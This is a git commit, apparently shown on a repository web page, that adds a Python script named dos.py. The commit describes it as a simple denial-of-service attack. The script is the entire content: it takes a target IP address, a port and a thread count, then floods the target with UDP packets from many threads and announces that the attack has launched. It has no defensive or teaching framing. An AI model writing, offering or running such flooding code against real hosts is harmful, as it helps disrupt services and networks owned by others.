Add: python script for a simple dos attack
This commit is contained in:
parent
28355b78f9
commit
71c455ed38
1 changed files with 37 additions and 0 deletions
37
PythonScripts/dos.py
Normal file
37
PythonScripts/dos.py
Normal file
|
@ -0,0 +1,37 @@
|
|||
#!/usr/bin/python3
|
||||
|
||||
import sys
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
#Function to send packets to the target
|
||||
def send_packets(target_ip, port, num_packets):
|
||||
for i in range(num_packets):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.sendto(b"", (target_ip, port))
|
||||
time.sleep(0.01)
|
||||
sock.close()
|
||||
|
||||
#Function to launch threads for DOSing
|
||||
|
||||
def launch_threads(target_ip, port, num_threads):
|
||||
threads = []
|
||||
|
||||
for i in range(num_threads):
|
||||
t = threading.Thread(target=send_packets, args=(target_ip, port, 1000))
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
#Main function
|
||||
if __name__ == "__main__":
|
||||
target_ip = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
num_threads = int(sys.argv[3])
|
||||
launch_threads(target_ip, port, num_threads)
|
||||
print("DOS attack launched!")
|
||||
time.sleep(10)
|
||||
print("DOS attack stopped.")
|
Loading…
Reference in a new issue